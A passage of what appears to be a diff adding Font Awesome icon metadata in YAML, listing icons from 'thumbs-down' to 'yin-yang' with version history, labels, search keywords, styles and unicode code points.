3/4 Full + search: + terms: + - mercury + - status + - temperature + styles: + - solid + unicode: f2c8 + voted: false +think-peaks: + changes: + - 5.4.2 + - 5.8.0 + label: Think Peaks + search: + terms: [] + styles: + - brands + unicode: f731 + voted: false +thumbs-down: + changes: + - '3.2' + - 5.0.0 + - 5.10.2 + label: thumbs-down + search: + terms: + - disagree + - disapprove + - dislike + - hand + - social + - thumbs-o-down + styles: + - solid + - regular + unicode: f165 + voted: false +thumbs-up: + changes: + - '3.2' + - 5.0.0 + - 5.10.2 + label: thumbs-up + search: + terms: + - agree + - approve + - favorite + - hand + - like + - ok + - okay + - social + - success + - thumbs-o-up + - 'yes' + - you got it dude + styles: + - solid + - regular + unicode: f164 + voted: false +thumbtack: + changes: + - '1' + - 5.0.0 + - 5.10.2 + label: Thumbtack + search: + terms: + - coordinates + - location + - marker + - pin + - thumb-tack + styles: + - solid + unicode: f08d + voted: false +ticket-alt: + changes: + - 5.0.0 + - 5.10.2 + label: Alternate Ticket + search: + terms: + - movie + - pass + - support + - ticket + styles: + - solid + unicode: f3ff + voted: false +tiktok: + changes: + - 5.13.1 + - 5.14.0 + label: TikTok + search: + terms: [] + styles: + - brands + unicode: e07b + voted: true +times: + changes: + - '1' + - 5.0.0 + - 5.0.13 + - 5.11.0 + - 5.11.1 + label: Times + search: + terms: + - close + - cross + - error + - exit + - incorrect + - notice + - notification + - notify + - problem + - wrong + - x + styles: + - solid + unicode: f00d + voted: false +times-circle: + changes: + - '1' + - 5.0.0 + label: Times Circle + search: + terms: + - close + - cross + - exit + - incorrect + - notice + - notification + - notify + - problem + - wrong + - x + styles: + - solid + - regular + unicode: f057 + voted: false +tint: + changes: + - '1' + - 5.0.0 + - 5.1.0 + label: tint + search: + terms: + - color + - drop + - droplet + - raindrop + - waterdrop + styles: + - solid + unicode: f043 + voted: false +tint-slash: + changes: + - 5.1.0 + label: Tint Slash + search: + terms: + - color + - drop + - droplet + - raindrop + - waterdrop + styles: + - solid + unicode: f5c7 + voted: false +tired: + changes: + - 5.1.0 + - 5.11.0 + - 5.11.1 + label: Tired Face + search: + terms: + - angry + - emoticon + - face + - grumpy + - upset + styles: + - solid + - regular + unicode: f5c8 + voted: false +toggle-off: + changes: + - '4.2' + - 5.0.0 + label: Toggle Off + search: + terms: + - switch + styles: + - solid + unicode: f204 + voted: false +toggle-on: + changes: + - '4.2' + - 5.0.0 + label: Toggle On + search: + terms: + - switch + styles: + - solid + unicode: f205 + voted: false +toilet: + changes: + - 5.6.0 + label: Toilet + search: + terms: + - bathroom + - flush + - john + - loo + - pee + - plumbing + - poop + - porcelain + - potty + - restroom + - throne + - washroom + - waste + - wc + styles: + - solid + unicode: f7d8 + voted: true +toilet-paper: + changes: + - 5.4.0 + - 5.10.2 + label: Toilet Paper + search: + terms: + - bathroom + - covid-19 + - halloween + - holiday + - lavatory + - prank + - restroom + - roll + styles: + - solid + unicode: f71e + voted: false +toilet-paper-slash: + changes: + - 5.13.0 + - 5.14.0 + label: Toilet Paper Slash + search: + terms: + - bathroom + - covid-19 + - halloween + - holiday + - lavatory + - leaves + - prank + - restroom + - roll + - trouble + - ut oh + styles: + - solid + unicode: e072 + voted: false +toolbox: + changes: + - 5.0.13 + label: Toolbox + search: + terms: + - admin + - container + - fix + - repair + - settings + - tools + styles: + - solid + unicode: f552 + voted: true +tools: + changes: + - 5.6.0 + - 5.10.2 + label: Tools + search: + terms: + - admin + - fix + - repair + - screwdriver + - settings + - tools + - wrench + styles: + - solid + unicode: f7d9 + voted: true +tooth: + changes: + - 5.1.0 + label: Tooth + search: + terms: + - bicuspid + - dental + - dentist + - molar + - mouth + - teeth + styles: + - solid + unicode: f5c9 + voted: true +torah: + changes: + - 5.3.0 + - 5.7.0 + - 5.9.0 + - 5.10.2 + label: Torah + search: + terms: + - book + - jewish + - judaism + - religion + - scroll + styles: + - solid + unicode: f6a0 + voted: false +torii-gate: + changes: + - 5.3.0 + label: Torii Gate + search: + terms: + - building + - shintoism + styles: + - solid + unicode: f6a1 + voted: false +tractor: + changes: + - 5.4.0 + label: Tractor + search: + terms: + - agriculture + - farm + - vehicle + styles: + - solid + unicode: f722 + voted: false +trade-federation: + changes: + - 5.0.12 + label: Trade Federation + search: + terms: [] + styles: + - brands + unicode: f513 + voted: false +trademark: + changes: + - '4.4' + - 5.0.0 + label: Trademark + search: + terms: + - copyright + - register + - symbol + styles: + - solid + unicode: f25c + voted: false +traffic-light: + changes: + - 5.2.0 + label: Traffic Light + search: + terms: + - direction + - road + - signal + - travel + styles: + - solid + unicode: f637 + voted: false +trailer: + changes: + - 5.12.0 + - 5.14.0 + label: Trailer + search: + terms: + - carry + - haul + - moving + - travel + styles: + - solid + unicode: e041 + voted: true +train: + changes: + - '4.3' + - 5.0.0 + label: Train + search: + terms: + - bullet + - commute + - locomotive + - railway + - subway + styles: + - solid + unicode: f238 + voted: false +tram: + changes: + - 5.6.0 + label: Tram + search: + terms: + - crossing + - machine + - mountains + - seasonal + - transportation + styles: + - solid + unicode: f7da +transgender: + changes: + - '4.3' + - 5.0.0 + label: Transgender + search: + terms: + - intersex + styles: + - solid + unicode: f224 + voted: false +transgender-alt: + changes: + - '4.3' + - 5.0.0 + - 5.11.0 + label: Alternate Transgender + search: + terms: + - intersex + styles: + - solid + unicode: f225 + voted: false +trash: + changes: + - '4.2' + - 5.0.0 + - 5.7.0 + - 5.10.2 + label: Trash + search: + terms: + - delete + - garbage + - hide + - remove + styles: + - solid + unicode: f1f8 + voted: false +trash-alt: + changes: + - 5.0.0 + - 5.7.0 + - 5.10.2 + label: Alternate Trash + search: + terms: + - delete + - garbage + - hide + - remove + - trash-o + styles: + - solid + - regular + unicode: f2ed + voted: false +trash-restore: + changes: + - 5.7.0 + - 5.10.2 + label: Trash Restore + search: + terms: + - back + - control z + - oops + - undo + styles: + - solid + unicode: f829 + voted: true +trash-restore-alt: + changes: + - 5.7.0 + - 5.10.2 + label: Alternative Trash Restore + search: + terms: + - back + - control z + - oops + - undo + styles: + - solid + unicode: f82a + voted: true +tree: + changes: + - '4.1' + - 5.0.0 + label: Tree + search: + terms: + - bark + - fall + - flora + - forest + - nature + - plant + - seasonal + styles: + - solid + unicode: f1bb + voted: false +trello: + changes: + - '3.2' + - 5.0.0 + - 5.6.0 + label: Trello + search: + terms: + - atlassian + styles: + - brands + unicode: f181 + voted: false +trophy: + changes: + - '1' + - 5.0.0 + - 5.11.0 + label: trophy + search: + terms: + - achievement + - award + - cup + - game + - winner + styles: + - solid + unicode: f091 + voted: false +truck: + changes: + - '2' + - 5.0.0 + - 5.0.7 + label: truck + search: + terms: + - cargo + - delivery + - shipping + - vehicle + styles: + - solid + unicode: f0d1 + voted: false +truck-loading: + changes: + - 5.0.9 + label: Truck Loading + search: + terms: + - box + - cargo + - delivery + - inventory + - moving + - rental + - vehicle + styles: + - solid + unicode: f4de + voted: false +truck-monster: + changes: + - 5.2.0 + label: Truck Monster + search: + terms: + - offroad + - vehicle + - wheel + styles: + - solid + unicode: f63b + voted: false +truck-moving: + changes: + - 5.0.9 + label: Truck Moving + search: + terms: + - cargo + - inventory + - rental + - vehicle + styles: + - solid + unicode: f4df + voted: false +truck-pickup: + changes: + - 5.2.0 + label: Truck Side + search: + terms: + - cargo + - vehicle + styles: + - solid + unicode: f63c + voted: false +tshirt: + changes: + - 5.0.13 + - 5.10.2 + label: T-Shirt + search: + terms: + - clothing + - fashion + - garment + - shirt + styles: + - solid + unicode: f553 + voted: true +tty: + changes: + - '4.2' + - 5.0.0 + - 5.7.0 + label: TTY + search: + terms: + - communication + - deaf + - telephone + - teletypewriter + - text + styles: + - solid + unicode: f1e4 + voted: false +tumblr: + changes: + - '3.2' + - 5.0.0 + label: Tumblr + search: + terms: [] + styles: + - brands + unicode: f173 + voted: false +tumblr-square: + changes: + - '3.2' + - 5.0.0 + label: Tumblr Square + search: + terms: [] + styles: + - brands + unicode: f174 + voted: false +tv: + changes: + - '4.4' + - 5.0.0 + - 5.11.0 + label: Television + search: + terms: + - computer + - display + - monitor + - television + styles: + - solid + unicode: f26c + voted: false +twitch: + changes: + - '4.2' + - 5.0.0 + - 5.12.0 + label: Twitch + search: + terms: [] + styles: + - brands + unicode: f1e8 + voted: false +twitter: + changes: + - '2' + - 5.0.0 + label: Twitter + search: + terms: + - social network + - tweet + styles: + - brands + unicode: f099 + voted: false +twitter-square: + changes: + - '1' + - 5.0.0 + label: Twitter Square + search: + terms: + - social network + - tweet + styles: + - brands + unicode: f081 + voted: false +typo3: + changes: + - 5.0.1 + - 5.8.0 + label: Typo3 + search: + terms: [] + styles: + - brands + unicode: f42b + voted: false +uber: + changes: + - 5.0.0 + label: Uber + search: + terms: [] + styles: + - brands + unicode: f402 + voted: false +ubuntu: + changes: + - 5.6.0 + label: Ubuntu + search: + terms: + - linux + - operating system + - os + styles: + - brands + unicode: f7df + voted: true +uikit: + changes: + - 5.0.0 + label: UIkit + search: + terms: [] + styles: + - brands + unicode: f403 + voted: false +umbraco: + changes: + - 5.11.0 + label: Umbraco + search: + terms: [] + styles: + - brands + unicode: f8e8 +umbrella: + changes: + - '2' + - 5.0.0 + label: Umbrella + search: + terms: + - protection + - rain + - storm + - wet + styles: + - solid + unicode: f0e9 + voted: false +umbrella-beach: + changes: + - 5.1.0 + label: Umbrella Beach + search: + terms: + - protection + - recreation + - sand + - shade + - summer + - sun + styles: + - solid + unicode: f5ca + voted: false +uncharted: + changes: + - 5.15.0 + label: Uncharted Software + search: + terms: [] + styles: + - brands + unicode: e084 + voted: false +underline: + changes: + - '2' + - 5.0.0 + - 5.9.0 + label: Underline + search: + terms: + - edit + - emphasis + - format + - text + - writing + styles: + - solid + unicode: f0cd + voted: false +undo: + changes: + - '2' + - 5.0.0 + label: Undo + search: + terms: + - back + - control z + - exchange + - oops + - return + - rotate + - swap + styles: + - solid + unicode: f0e2 + voted: false +undo-alt: + changes: + - 5.0.0 + label: Alternate Undo + search: + terms: + - back + - control z + - exchange + - oops + - return + - swap + styles: + - solid + unicode: f2ea + voted: false +uniregistry: + changes: + - 5.0.0 + label: Uniregistry + search: + terms: [] + styles: + - brands + unicode: f404 + voted: false +unity: + changes: + - 5.12.0 + - 5.14.0 + label: Unity 3D + search: + terms: [] + styles: + - brands + unicode: e049 + voted: true +universal-access: + changes: + - '4.6' + - 5.0.0 + - 5.10.2 + label: Universal Access + search: + terms: + - accessibility + - hearing + - person + - seeing + - visual impairment + styles: + - solid + unicode: f29a + voted: false +university: + changes: + - '4.1' + - 5.0.0 + - 5.0.3 + - 5.11.0 + - 5.11.1 + label: University + search: + terms: + - bank + - building + - college + - higher education - students + - institution + styles: + - solid + unicode: f19c + voted: false +unlink: + changes: + - '3.1' + - 5.0.0 + label: unlink + search: + terms: + - attachment + - chain + - chain-broken + - remove + styles: + - solid + unicode: f127 + voted: false +unlock: + changes: + - '2' + - 5.0.0 + label: unlock + search: + terms: + - admin + - lock + - password + - private + - protect + styles: + - solid + unicode: f09c + voted: false +unlock-alt: + changes: + - '3.1' + - 5.0.0 + label: Alternate Unlock + search: + terms: + - admin + - lock + - password + - private + - protect + styles: + - solid + unicode: f13e + voted: false +unsplash: + changes: + - 5.13.1 + - 5.14.0 + label: Unsplash + search: + terms: [] + styles: + - brands + unicode: e07c + voted: false +untappd: + changes: + - 5.0.0 + label: Untappd + search: + terms: [] + styles: + - brands + unicode: f405 + voted: false +upload: + changes: + - '1' + - 5.0.0 + label: Upload + search: + terms: + - hard drive + - import + - publish + styles: + - solid + unicode: f093 + voted: false +ups: + changes: + - 5.6.0 + - 5.8.0 + label: UPS + search: + terms: + - United Parcel Service + - package + - shipping + styles: + - brands + unicode: f7e0 +usb: + changes: + - '4.5' + - 5.0.0 + label: USB + search: + terms: [] + styles: + - brands + unicode: f287 + voted: false +user: + changes: + - '1' + - 5.0.0 + - 5.0.3 + - 5.0.11 + label: User + search: + terms: + - account + - avatar + - head + - human + - man + - person + - profile + styles: + - solid + - regular + unicode: f007 + voted: false +user-alt: + changes: + - 5.0.0 + - 5.0.3 + - 5.0.11 + label: Alternate User + search: + terms: + - account + - avatar + - head + - human + - man + - person + - profile + styles: + - solid + unicode: f406 + voted: false +user-alt-slash: + changes: + - 5.0.11 + label: Alternate User Slash + search: + terms: + - account + - avatar + - head + - human + - man + - person + - profile + styles: + - solid + unicode: f4fa + voted: false +user-astronaut: + changes: + - 5.0.11 + label: User Astronaut + search: + terms: + - avatar + - clothing + - cosmonaut + - nasa + - space + - suit + styles: + - solid + unicode: f4fb + voted: false +user-check: + changes: + - 5.0.11 + label: User Check + search: + terms: + - accept + - check + - person + - verified + styles: + - solid + unicode: f4fc + voted: false +user-circle: + changes: + - '4.7' + - 5.0.0 + - 5.0.3 + - 5.0.11 + - 5.11.0 + - 5.11.1 + label: User Circle + search: + terms: + - account + - avatar + - head + - human + - man + - person + - profile + styles: + - solid + - regular + unicode: f2bd + voted: false +user-clock: + changes: + - 5.0.11 + label: User Clock + search: + terms: + - alert + - person + - remind + - time + styles: + - solid + unicode: f4fd + voted: false +user-cog: + changes: + - 5.0.11 + label: User Cog + search: + terms: + - admin + - cog + - person + - settings + styles: + - solid + unicode: f4fe + voted: false +user-edit: + changes: + - 5.0.11 + label: User Edit + search: + terms: + - edit + - pen + - pencil + - person + - update + - write + styles: + - solid + unicode: f4ff + voted: false +user-friends: + changes: + - 5.0.11 + label: User Friends + search: + terms: + - group + - people + - person + - team + - users + styles: + - solid + unicode: f500 + voted: false +user-graduate: + changes: + - 5.0.11 + label: User Graduate + search: + terms: + - cap + - clothing + - commencement + - gown + - graduation + - person + - student + styles: + - solid + unicode: f501 + voted: false +user-injured: + changes: + - 5.4.0 + label: User Injured + search: + terms: + - cast + - injury + - ouch + - patient + - person + - sling + styles: + - solid + unicode: f728 + voted: false +user-lock: + changes: + - 5.0.11 + - 5.9.0 + label: User Lock + search: + terms: + - admin + - lock + - person + - private + - unlock + styles: + - solid + unicode: f502 + voted: false +user-md: + changes: + - '2' + - 5.0.0 + - 5.0.3 + - 5.0.7 + - 5.0.11 + label: Doctor + search: + terms: + - covid-19 + - job + - medical + - nurse + - occupation + - physician + - profile + - surgeon + styles: + - solid + unicode: f0f0 + voted: false +user-minus: + changes: + - 5.0.11 + label: User Minus + search: + terms: + - delete + - negative + - remove + styles: + - solid + unicode: f503 + voted: false +user-ninja: + changes: + - 5.0.11 + label: User Ninja + search: + terms: + - assassin + - avatar + - dangerous + - deadly + - sneaky + styles: + - solid + unicode: f504 + voted: false +user-nurse: + changes: + - 5.7.0 + - 5.12.0 + label: Nurse + search: + terms: + - covid-19 + - doctor + - midwife + - practitioner + - surgeon + styles: + - solid + unicode: f82f + voted: false +user-plus: + changes: + - '4.3' + - 5.0.0 + - 5.0.3 + - 5.0.11 + label: User Plus + search: + terms: + - add + - avatar + - positive + - sign up + - signup + - team + styles: + - solid + unicode: f234 + voted: false +user-secret: + changes: + - '4.3' + - 5.0.0 + - 5.0.3 + - 5.0.11 + label: User Secret + search: + terms: + - clothing + - coat + - hat + - incognito + - person + - privacy + - spy + - whisper + styles: + - solid + unicode: f21b + voted: false +user-shield: + changes: + - 5.0.11 + label: User Shield + search: + terms: + - admin + - person + - private + - protect + - safe + styles: + - solid + unicode: f505 + voted: false +user-slash: + changes: + - 5.0.11 + label: User Slash + search: + terms: + - ban + - delete + - remove + styles: + - solid + unicode: f506 + voted: false +user-tag: + changes: + - 5.0.11 + label: User Tag + search: + terms: + - avatar + - discount + - label + - person + - role + - special + styles: + - solid + unicode: f507 + voted: false +user-tie: + changes: + - 5.0.11 + label: User Tie + search: + terms: + - avatar + - business + - clothing + - formal + - professional + - suit + styles: + - solid + unicode: f508 + voted: false +user-times: + changes: + - '4.3' + - 5.0.0 + - 5.0.3 + - 5.0.11 + label: Remove User + search: + terms: + - archive + - delete + - remove + - x + styles: + - solid + unicode: f235 + voted: false +users: + changes: + - '2' + - 5.0.0 + - 5.0.3 + - 5.0.11 + label: Users + search: + terms: + - friends + - group + - people + - persons + - profiles + - team + styles: + - solid + unicode: f0c0 + voted: false +users-cog: + changes: + - 5.0.11 + label: Users Cog + search: + terms: + - admin + - cog + - group + - person + - settings + - team + styles: + - solid + unicode: f509 + voted: false +users-slash: + changes: + - 5.13.0 + - 5.14.0 + label: Users Slash + search: + terms: + - disband + - friends + - group + - people + - persons + - profiles + - separate + - team + - ungroup + styles: + - solid + unicode: e073 + voted: false +usps: + changes: + - 5.6.0 + - 5.8.0 + label: United States Postal Service + search: + terms: + - american + - package + - shipping + - usa + styles: + - brands + unicode: f7e1 +ussunnah: + changes: + - 5.0.0 + label: us-Sunnah Foundation + search: + terms: [] + styles: + - brands + unicode: f407 + voted: false +utensil-spoon: + changes: + - 5.0.0 + - 5.10.2 + label: Utensil Spoon + search: + terms: + - cutlery + - dining + - scoop + - silverware + - spoon + styles: + - solid + unicode: f2e5 + voted: false +utensils: + changes: + - 5.0.0 + label: Utensils + search: + terms: + - cutlery + - dining + - dinner + - eat + - food + - fork + - knife + - restaurant + styles: + - solid + unicode: f2e7 + voted: false +vaadin: + changes: + - 5.0.0 + label: Vaadin + search: + terms: [] + styles: + - brands + unicode: f408 + voted: false +vector-square: + changes: + - 5.1.0 + label: Vector Square + search: + terms: + - anchors + - lines + - object + - render + - shape + styles: + - solid + unicode: f5cb + voted: false +venus: + changes: + - '4.3' + - 5.0.0 + - 5.11.0 + - 5.11.1 + label: Venus + search: + terms: + - female + styles: + - solid + unicode: f221 + voted: false +venus-double: + changes: + - '4.3' + - 5.0.0 + label: Venus Double + search: + terms: + - female + styles: + - solid + unicode: f226 + voted: false +venus-mars: + changes: + - '4.3' + - 5.0.0 + label: Venus Mars + search: + terms: + - Gender + styles: + - solid + unicode: f228 + voted: false +vest: + changes: + - 5.15.0 + - 5.15.1 + label: vest + search: + terms: + - biker + - fashion + - style + styles: + - solid + unicode: e085 + voted: false +vest-patches: + changes: + - 5.15.0 + - 5.15.1 + label: vest-patches + search: + terms: + - biker + - fashion + - style + styles: + - solid + unicode: e086 + voted: false +viacoin: + changes: + - '4.3' + - 5.0.0 + label: Viacoin + search: + terms: [] + styles: + - brands + unicode: f237 + voted: false +viadeo: + changes: + - '4.6' + - 5.0.0 + label: Viadeo + search: + terms: [] + styles: + - brands + unicode: f2a9 + voted: false +viadeo-square: + changes: + - '4.6' + - 5.0.0 + - 5.7.0 + label: Viadeo Square + search: + terms: [] + styles: + - brands + unicode: f2aa + voted: false +vial: + changes: + - 5.0.7 + label: Vial + search: + terms: + - experiment + - lab + - sample + - science + - test + - test tube + styles: + - solid + unicode: f492 + voted: false +vials: + changes: + - 5.0.7 + label: Vials + search: + terms: + - experiment + - lab + - sample + - science + - test + - test tube + styles: + - solid + unicode: f493 + voted: false +viber: + changes: + - 5.0.0 + - 5.0.3 + label: Viber + search: + terms: [] + styles: + - brands + unicode: f409 + voted: false +video: + changes: + - '1' + - 5.0.0 + - 5.0.9 + label: Video + search: + terms: + - camera + - film + - movie + - record + - video-camera + styles: + - solid + unicode: f03d + voted: false +video-slash: + changes: + - 5.0.9 + label: Video Slash + search: + terms: + - add + - create + - film + - new + - positive + - record + - video + styles: + - solid + unicode: f4e2 + voted: false +vihara: + changes: + - 5.3.0 + label: Vihara + search: + terms: + - buddhism + - buddhist + - building + - monastery + styles: + - solid + unicode: f6a7 + voted: false +vimeo: + changes: + - 5.0.0 + label: Vimeo + search: + terms: [] + styles: + - brands + unicode: f40a + voted: false +vimeo-square: + changes: + - '4' + - 5.0.0 + label: Vimeo Square + search: + terms: [] + styles: + - brands + unicode: f194 + voted: false +vimeo-v: + changes: + - '4.4' + - 5.0.0 + label: Vimeo + search: + terms: + - vimeo + styles: + - brands + unicode: f27d + voted: false +vine: + changes: + - '4.1' + - 5.0.0 + label: Vine + search: + terms: [] + styles: + - brands + unicode: f1ca + voted: false +virus: + changes: + - 5.13.0 + - 5.14.0 + label: Virus + search: + terms: + - bug + - covid-19 + - flu + - health + - sick + - viral + styles: + - solid + unicode: e074 + voted: false +virus-slash: + changes: + - 5.13.0 + - 5.14.0 + label: Virus Slash + search: + terms: + - bug + - covid-19 + - cure + - eliminate + - flu + - health + - sick + - viral + styles: + - solid + unicode: e075 + voted: false +viruses: + changes: + - 5.13.0 + - 5.14.0 + label: Viruses + search: + terms: + - bugs + - covid-19 + - flu + - health + - multiply + - sick + - spread + - viral + styles: + - solid + unicode: e076 + voted: false +vk: + changes: + - '3.2' + - 5.0.0 + label: VK + search: + terms: [] + styles: + - brands + unicode: f189 + voted: false +vnv: + changes: + - 5.0.0 + label: VNV + search: + terms: [] + styles: + - brands + unicode: f40b + voted: false +voicemail: + changes: + - 5.9.0 + label: Voicemail + search: + terms: + - answer + - inbox + - message + - phone + styles: + - solid + unicode: f897 + voted: true +volleyball-ball: + changes: + - 5.0.5 + - 5.8.0 + label: Volleyball Ball + search: + terms: + - beach + - olympics + - sport + styles: + - solid + unicode: f45f + voted: false +volume-down: + changes: + - '1' + - 5.0.0 + - 5.3.0 + label: Volume Down + search: + terms: + - audio + - lower + - music + - quieter + - sound + - speaker + styles: + - solid + unicode: f027 + voted: false +volume-mute: + changes: + - 5.3.0 + label: Volume Mute + search: + terms: + - audio + - music + - quiet + - sound + - speaker + styles: + - solid + unicode: f6a9 + voted: true +volume-off: + changes: + - '1' + - 5.0.0 + - 5.3.0 + - 5.8.0 + label: Volume Off + search: + terms: + - audio + - ban + - music + - mute + - quiet + - silent + - sound + styles: + - solid + unicode: f026 + voted: false +volume-up: + changes: + - '1' + - 5.0.0 + - 5.3.0 + label: Volume Up + search: + terms: + - audio + - higher + - louder + - music + - sound + - speaker + styles: + - solid + unicode: f028 + voted: false +vote-yea: + changes: + - 5.5.0 + label: Vote Yea + search: + terms: + - accept + - cast + - election + - politics + - positive + - 'yes' + styles: + - solid + unicode: f772 + voted: false +vr-cardboard: + changes: + - 5.4.0 + label: Cardboard VR + search: + terms: + - 3d + - augment + - google + - reality + - virtual + styles: + - solid + unicode: f729 + voted: true +vuejs: + changes: + - 5.0.0 + label: Vue.js + search: + terms: [] + styles: + - brands + unicode: f41f + voted: false +walking: + changes: + - 5.0.13 + label: Walking + search: + terms: + - exercise + - health + - pedometer + - person + - steps + styles: + - solid + unicode: f554 + voted: true +wallet: + changes: + - 5.0.13 + label: Wallet + search: + terms: + - billfold + - cash + - currency + - money + styles: + - solid + unicode: f555 + voted: true +warehouse: + changes: + - 5.0.7 + label: Warehouse + search: + terms: + - building + - capacity + - garage + - inventory + - storage + styles: + - solid + unicode: f494 + voted: false +watchman-monitoring: + changes: + - 5.15.0 + label: Watchman Monitoring + search: + terms: [] + styles: + - brands + unicode: e087 + voted: false +water: + changes: + - 5.5.0 + label: Water + search: + terms: + - lake + - liquid + - ocean + - sea + - swim + - wet + styles: + - solid + unicode: f773 + voted: false +wave-square: + changes: + - 5.8.0 + label: Square Wave + search: + terms: + - frequency + - pulse + - signal + styles: + - solid + unicode: f83e + voted: false +waze: + changes: + - 5.8.0 + label: Waze + search: + terms: [] + styles: + - brands + unicode: f83f +weebly: + changes: + - 5.1.0 + label: Weebly + search: + terms: [] + styles: + - brands + unicode: f5cc + voted: true +weibo: + changes: + - '3.2' + - 5.0.0 + label: Weibo + search: + terms: [] + styles: + - brands + unicode: f18a + voted: false +weight: + changes: + - 5.0.7 + label: Weight + search: + terms: + - health + - measurement + - scale + - weight + styles: + - solid + unicode: f496 + voted: false +weight-hanging: + changes: + - 5.1.0 + label: Hanging Weight + search: + terms: + - anvil + - heavy + - measurement + styles: + - solid + unicode: f5cd + voted: false +weixin: + changes: + - '4.1' + - 5.0.0 + - 5.0.3 + label: Weixin (WeChat) + search: + terms: [] + styles: + - brands + unicode: f1d7 + voted: false +whatsapp: + changes: + - '4.3' + - 5.0.0 + label: What's App + search: + terms: [] + styles: + - brands + unicode: f232 + voted: false +whatsapp-square: + changes: + - 5.0.0 + label: What's App Square + search: + terms: [] + styles: + - brands + unicode: f40c + voted: false +wheelchair: + changes: + - '4' + - 5.0.0 + - 5.10.2 + label: Wheelchair + search: + terms: + - accessible + - handicap + - person + styles: + - solid + unicode: f193 + voted: false +whmcs: + changes: + - 5.0.0 + label: WHMCS + search: + terms: [] + styles: + - brands + unicode: f40d + voted: false +wifi: + changes: + - '4.2' + - 5.0.0 + - 5.3.0 + - 5.10.1 + - 5.11.1 + label: WiFi + search: + terms: + - connection + - hotspot + - internet + - network + - wireless + styles: + - solid + unicode: f1eb + voted: false +wikipedia-w: + changes: + - '4.4' + - 5.0.0 + label: Wikipedia W + search: + terms: [] + styles: + - brands + unicode: f266 + voted: false +wind: + changes: + - 5.4.0 + - 5.5.0 + label: Wind + search: + terms: + - air + - blow + - breeze + - fall + - seasonal + - weather + styles: + - solid + unicode: f72e + voted: false +window-close: + changes: + - '4.7' + - 5.0.0 + label: Window Close + search: + terms: + - browser + - cancel + - computer + - development + styles: + - solid + - regular + unicode: f410 + voted: false +window-maximize: + changes: + - '4.7' + - 5.0.0 + label: Window Maximize + search: + terms: + - browser + - computer + - development + - expand + styles: + - solid + - regular + unicode: f2d0 + voted: false +window-minimize: + changes: + - '4.7' + - 5.0.0 + - 5.10.1 + label: Window Minimize + search: + terms: + - browser + - collapse + - computer + - development + styles: + - solid + - regular + unicode: f2d1 + voted: false +window-restore: + changes: + - '4.7' + - 5.0.0 + label: Window Restore + search: + terms: + - browser + - computer + - development + styles: + - solid + - regular + unicode: f2d2 + voted: false +windows: + changes: + - '3.2' + - 5.0.0 + label: Windows + search: + terms: + - microsoft + - operating system + - os + styles: + - brands + unicode: f17a + voted: false +wine-bottle: + changes: + - 5.4.0 + label: Wine Bottle + search: + terms: + - alcohol + - beverage + - cabernet + - drink + - glass + - grapes + - merlot + - sauvignon + styles: + - solid + unicode: f72f + voted: false +wine-glass: + changes: + - 5.0.9 + - 5.1.0 + - 5.10.1 + - 5.11.0 + - 5.11.1 + label: Wine Glass + search: + terms: + - alcohol + - beverage + - cabernet + - drink + - grapes + - merlot + - sauvignon + styles: + - solid + unicode: f4e3 + voted: false +wine-glass-alt: + changes: + - 5.1.0 + - 5.10.1 + - 5.11.0 + - 5.11.1 + label: Alternate Wine Glas + search: + terms: + - alcohol + - beverage + - cabernet + - drink + - grapes + - merlot + - sauvignon + styles: + - solid + unicode: f5ce + voted: false +wix: + changes: + - 5.1.0 + label: Wix + search: + terms: [] + styles: + - brands + unicode: f5cf + voted: true +wizards-of-the-coast: + changes: + - 5.4.0 + label: Wizards of the Coast + search: + terms: + - Dungeons & Dragons + - d&d + - dnd + - fantasy + - game + - gaming + - tabletop + styles: + - brands + unicode: f730 + voted: false +wodu: + changes: + - 5.15.0 + label: Wodu + search: + terms: [] + styles: + - brands + unicode: e088 + voted: false +wolf-pack-battalion: + changes: + - 5.0.12 + - 5.8.0 + label: Wolf Pack Battalion + search: + terms: [] + styles: + - brands + unicode: f514 + voted: false +won-sign: + changes: + - '3.2' + - 5.0.0 + label: Won Sign + search: + terms: + - currency + - krw + - money + styles: + - solid + unicode: f159 + voted: false +wordpress: + changes: + - '4.1' + - 5.0.0 + label: WordPress Logo + search: + terms: [] + styles: + - brands + unicode: f19a + voted: false +wordpress-simple: + changes: + - 5.0.0 + label: Wordpress Simple + search: + terms: [] + styles: + - brands + unicode: f411 + voted: false +wpbeginner: + changes: + - '4.6' + - 5.0.0 + label: WPBeginner + search: + terms: [] + styles: + - brands + unicode: f297 + voted: false +wpexplorer: + changes: + - '4.7' + - 5.0.0 + label: WPExplorer + search: + terms: [] + styles: + - brands + unicode: f2de + voted: false +wpforms: + changes: + - '4.6' + - 5.0.0 + label: WPForms + search: + terms: [] + styles: + - brands + unicode: f298 + voted: false +wpressr: + changes: + - 5.4.2 + label: wpressr + search: + terms: + - rendact + styles: + - brands + unicode: f3e4 + voted: false +wrench: + changes: + - '2' + - 5.0.0 + - 5.0.13 + label: Wrench + search: + terms: + - construction + - fix + - mechanic + - plumbing + - settings + - spanner + - tool + - update + styles: + - solid + unicode: f0ad + voted: false +x-ray: + changes: + - 5.0.7 + - 5.10.2 + label: X-Ray + search: + terms: + - health + - medical + - radiological images + - radiology + - skeleton + styles: + - solid + unicode: f497 + voted: false +xbox: + changes: + - 5.0.0 + label: Xbox + search: + terms: [] + styles: + - brands + unicode: f412 + voted: false +xing: + changes: + - '3.2' + - 5.0.0 + label: Xing + search: + terms: [] + styles: + - brands + unicode: f168 + voted: false +xing-square: + changes: + - '3.2' + - 5.0.0 + label: Xing Square + search: + terms: [] + styles: + - brands + unicode: f169 + voted: false +y-combinator: + changes: + - '4.4' + - 5.0.0 + label: Y Combinator + search: + terms: [] + styles: + - brands + unicode: f23b + voted: false +yahoo: + changes: + - '4.1' + - 5.0.0 + - 5.0.3 + - 5.13.1 + label: Yahoo Logo + search: + terms: [] + styles: + - brands + unicode: f19e + voted: false +yammer: + changes: + - 5.8.0 + label: Yammer + search: + terms: [] + styles: + - brands + unicode: f840 +yandex: + changes: + - 5.0.0 + label: Yandex + search: + terms: [] + styles: + - brands + unicode: f413 + voted: false +yandex-international: + changes: + - 5.0.0 + label: Yandex International + search: + terms: [] + styles: + - brands + unicode: f414 + voted: false +yarn: + changes: + - 5.6.0 + label: Yarn + search: + terms: [] + styles: + - brands + unicode: f7e3 + voted: true +yelp: + changes: + - '4.2' + - 5.0.0 + - 5.7.0 + - 5.8.0 + label: Yelp + search: + terms: [] + styles: + - brands + unicode: f1e9 + voted: false +yen-sign: + changes: + - '3.2' + - 5.0.0 + label: Yen Sign + search: + terms: + - currency + - jpy + - money + styles: + - solid + unicode: f157 + voted: false +yin-yang: + changes: + - 5.3.0 + - 5.10.2 + - 5.11.0 + - 5.11.1 + label: Yin Yang + search: + 